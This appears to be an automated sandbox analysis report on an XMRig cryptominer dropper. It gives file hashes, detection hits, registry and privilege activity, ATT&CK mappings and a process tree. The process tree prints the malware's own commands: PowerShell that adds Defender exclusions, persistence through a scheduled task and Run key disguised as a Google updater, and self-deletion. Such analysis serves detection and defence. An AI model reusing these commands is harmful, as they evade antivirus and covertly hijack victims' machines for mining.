xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1799s
max time network
1793s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
23/01/2024, 19:27

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General

Target

grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs

description	pid	Process	procid_target
PID 3644 created 3500	3644	Q5EUCWHU7pMYBfT3.exe	53
PID 3644 created 3500	3644	Q5EUCWHU7pMYBfT3.exe	53
PID 3644 created 3500	3644	Q5EUCWHU7pMYBfT3.exe	53
PID 3644 created 3500	3644	Q5EUCWHU7pMYBfT3.exe	53
PID 4176 created 3500	4176	updater.exe	53
PID 4176 created 3500	4176	updater.exe	53
PID 4176 created 3500	4176	updater.exe	53
PID 4148 created 3500	4148	conhost.exe	53

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral22/memory/4252-123-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-126-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-128-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-130-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-134-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-136-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-138-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-140-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-142-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-144-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-146-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-148-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-154-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-156-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-158-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-160-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-162-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-164-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-166-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-168-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-170-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-172-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-174-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-176-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-178-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-180-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-182-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-184-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-186-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig
behavioral22/memory/4252-188-0x00007FF663E50000-0x00007FF664644000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
4176	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral22/memory/4252-116-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-123-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-126-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-128-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-130-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-134-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-136-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-138-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-140-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-142-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-144-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-146-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-148-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-154-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-156-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-158-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-160-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-162-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-164-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-166-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-168-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-170-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-172-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-174-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-176-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-178-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-180-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-182-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-184-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-186-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx
behavioral22/memory/4252-188-0x00007FF663E50000-0x00007FF664644000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4176 set thread context of 4148	4176	updater.exe	116
PID 4176 set thread context of 4252	4176	updater.exe	111

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Q5EUCWHU7pMYBfT3.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2448	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
3644	Q5EUCWHU7pMYBfT3.exe
3644	Q5EUCWHU7pMYBfT3.exe
1500	powershell.exe
1500	powershell.exe
3644	Q5EUCWHU7pMYBfT3.exe
3644	Q5EUCWHU7pMYBfT3.exe
4292	powershell.exe
4292	powershell.exe
3644	Q5EUCWHU7pMYBfT3.exe
3644	Q5EUCWHU7pMYBfT3.exe
3644	Q5EUCWHU7pMYBfT3.exe
3644	Q5EUCWHU7pMYBfT3.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4176	updater.exe
4176	updater.exe
1868	powershell.exe
1868	powershell.exe
4176	updater.exe
4176	updater.exe
4556	powershell.exe
4556	powershell.exe
4176	updater.exe
4176	updater.exe
4176	updater.exe
4176	updater.exe
4148	conhost.exe
4148	conhost.exe
4176	updater.exe
4176	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeIncreaseQuotaPrivilege	4292	powershell.exe
Token: SeSecurityPrivilege	4292	powershell.exe
Token: SeTakeOwnershipPrivilege	4292	powershell.exe
Token: SeLoadDriverPrivilege	4292	powershell.exe
Token: SeSystemProfilePrivilege	4292	powershell.exe
Token: SeSystemtimePrivilege	4292	powershell.exe
Token: SeProfSingleProcessPrivilege	4292	powershell.exe
Token: SeIncBasePriorityPrivilege	4292	powershell.exe
Token: SeCreatePagefilePrivilege	4292	powershell.exe
Token: SeBackupPrivilege	4292	powershell.exe
Token: SeRestorePrivilege	4292	powershell.exe
Token: SeShutdownPrivilege	4292	powershell.exe
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeSystemEnvironmentPrivilege	4292	powershell.exe
Token: SeRemoteShutdownPrivilege	4292	powershell.exe
Token: SeUndockPrivilege	4292	powershell.exe
Token: SeManageVolumePrivilege	4292	powershell.exe
Token: 33	4292	powershell.exe
Token: 34	4292	powershell.exe
Token: 35	4292	powershell.exe
Token: 36	4292	powershell.exe
Token: SeIncreaseQuotaPrivilege	4292	powershell.exe
Token: SeSecurityPrivilege	4292	powershell.exe
Token: SeTakeOwnershipPrivilege	4292	powershell.exe
Token: SeLoadDriverPrivilege	4292	powershell.exe
Token: SeSystemProfilePrivilege	4292	powershell.exe
Token: SeSystemtimePrivilege	4292	powershell.exe
Token: SeProfSingleProcessPrivilege	4292	powershell.exe
Token: SeIncBasePriorityPrivilege	4292	powershell.exe
Token: SeCreatePagefilePrivilege	4292	powershell.exe
Token: SeBackupPrivilege	4292	powershell.exe
Token: SeRestorePrivilege	4292	powershell.exe
Token: SeShutdownPrivilege	4292	powershell.exe
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeSystemEnvironmentPrivilege	4292	powershell.exe
Token: SeRemoteShutdownPrivilege	4292	powershell.exe
Token: SeUndockPrivilege	4292	powershell.exe
Token: SeManageVolumePrivilege	4292	powershell.exe
Token: 33	4292	powershell.exe
Token: 34	4292	powershell.exe
Token: 35	4292	powershell.exe
Token: 36	4292	powershell.exe
Token: SeIncreaseQuotaPrivilege	4292	powershell.exe
Token: SeSecurityPrivilege	4292	powershell.exe
Token: SeTakeOwnershipPrivilege	4292	powershell.exe
Token: SeLoadDriverPrivilege	4292	powershell.exe
Token: SeSystemProfilePrivilege	4292	powershell.exe
Token: SeSystemtimePrivilege	4292	powershell.exe
Token: SeProfSingleProcessPrivilege	4292	powershell.exe
Token: SeIncBasePriorityPrivilege	4292	powershell.exe
Token: SeCreatePagefilePrivilege	4292	powershell.exe
Token: SeBackupPrivilege	4292	powershell.exe
Token: SeRestorePrivilege	4292	powershell.exe
Token: SeShutdownPrivilege	4292	powershell.exe
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeSystemEnvironmentPrivilege	4292	powershell.exe
Token: SeRemoteShutdownPrivilege	4292	powershell.exe
Token: SeUndockPrivilege	4292	powershell.exe
Token: SeManageVolumePrivilege	4292	powershell.exe
Token: 33	4292	powershell.exe
Token: 34	4292	powershell.exe
Token: 35	4292	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2572 wrote to memory of 3212	2572	cmd.exe	102
PID 2572 wrote to memory of 3212	2572	cmd.exe	102
PID 4272 wrote to memory of 4060	4272	powershell.exe	103
PID 4272 wrote to memory of 4060	4272	powershell.exe	103
PID 4176 wrote to memory of 4148	4176	updater.exe	116
PID 2324 wrote to memory of 2448	2324	cmd.exe	112
PID 2324 wrote to memory of 2448	2324	cmd.exe	112
PID 4176 wrote to memory of 4252	4176	updater.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3500
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4272
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:4060
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:3212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4556
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2324
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:4148

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4176
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:4252
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:4856

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:2448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
670KB

MD5
db29e958a5161215f7e6651657676d1b

SHA1
7c10a424ca26504abcc869f2cdf6f811df3c2dd2

SHA256
f30f20000eb1af47a1b978f7439b3b41b1bf082d5109c2d8e9b4edc492cadb3c

SHA512
b6a4d01a236c9da1a0a3de16417b4daadb909d77fe2df43ab4f1154c598c6dc34da83de7c2cdda31f0a1d0c3d644b9e79677f1e2b5d4ba5c89c9d60cbe8c0852

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
1.5MB

MD5
02e2ad7d85988261f06d86427e7bc6af

SHA1
90ed07b294d4b99e94bed6a1bc559e708e517e2e

SHA256
c4b00eef84516821796cecbd3547efe7997adfb426c67c8fc704ca4ab13388e8

SHA512
89644223bb8dbe0a7013199e11f0237291f97f79392a63c32341926ed4cc198a5ed74f45334b31bf8f73754034465ad3957e2e23c9edd94fada1d5ee1ef887e9

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
